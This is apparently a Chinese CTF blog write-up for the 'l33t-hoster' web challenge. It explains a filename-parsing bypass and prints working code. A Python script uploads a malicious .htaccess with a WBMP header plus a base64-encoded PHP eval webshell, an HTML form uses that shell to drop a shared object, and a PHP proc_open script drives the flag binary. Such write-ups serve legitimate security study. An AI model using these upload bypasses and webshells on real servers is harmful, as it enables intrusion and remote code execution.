CTF Web安全

l33t-hoster(.htaccess+disable_function+计算器)

Posted on 2020-06-01,3 min read

F12得到源码
黑名单过滤的死死的。估计就是.htaccess
这里做了些限制。一大堆。后缀名啥的。先不看。
看文件内容不能出现<?。那么可以用.htaccess base64包含绕过
然后有个getimagesize得等于1337。可以用wbmp的文件头绕过
最后。来看文件名的控制。

$parts = explode(".", $name);
#如果传.htaccess。这里就为"","htaccess"
$ext = array_pop($parts);
#删除最后一个键值。并且返回值。也就是htaccess
if (empty($parts[0])) {
    array_shift($parts);
    #如果数组第一个值为空。就删掉。
}
$name = implode(".", $parts);
#组合。
move_uploaded_file($tmp_name, $userdir . $name . "." . $ext);

也就是说。他以点号分隔。然后删掉第一个空字符。然后剩下的组合
那么我们构造..htaccess
经过第一个删除空值以后变成了"","htaccess"
然后组合。由于第一个还是空。那么无法组合。$name就为空
拼接到文件名之后就变成了.htaccess
然后上传

import requests
header={"PHPSESSID":"e2s7q6jsgp90khph93usloffl2"}
data={"upload":"Submit"}
url='http://88364f44-5876-4381-be5d-fa8f57d3c61f.node3.buuoj.cn/'
htaccess=b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.cc"
"""
shell=b"""\x00\x00\x8a\x39\x8a\x39
12PD9waHAgZXZhbCgkX1BPU1RbJ2EnXSk7Pz4=
"""
files={
    'image':('..htaccess',htaccess,'image/jpeg'),
    'upload': (None, "Submit Query", None)
    }
r = requests.post(url=url,files=files,cookies=header)
print(r.text)
files={
    'image':('shell.cc',shell,'image/jpeg'),
    "upload" : (None, "Submit Query", None)
    }
r = requests.post(url=url,cookies=header,files=files)
print(r.text)

直接连接。发现有disable_function。还禁用了file_put_contents
。那么通过一句话执行move_upload_file。上传文件

<!DOCTYPE html>
<html>
<body>
<form action="http://88364f44-5876-4381-be5d-fa8f57d3c61f.node3.buuoj.cn/images/5168c796704cdf88ba23e3779b81ad65b586471d/shell.cc" method="POST" enctype="multipart/form-data" >
<input type="file" name="file" />
<input type="text" name="a" value="move_uploaded_file($_FILES['file']['tmp_name'],'/tmp/1.so');" />
<input type="submit" value="submit" />
</form>
</body>
</html>

传完利用脚本和SO。包含一下。发现/get_flag是个计算器
刚好最近学了手PHP交互

<?php
$d = array(array("pipe", "r"),array("pipe", "w"),array("pipe", "w"));
$p = proc_open('/get_flag', $d, $pipes, '/');
if (is_resource($p)) {
        $t = fgets($pipes[1]);
        $t = fgets($pipes[1]);
        var_dump($t);
        $expression = 'return '.str_replace('=','',$t).';';
       fwrite($pipes[0], eval($expression)."\n");    
        echo stream_get_contents($pipes[1]);
}

下一篇: RCTF2020 Calc(数字webshell以及php交互)→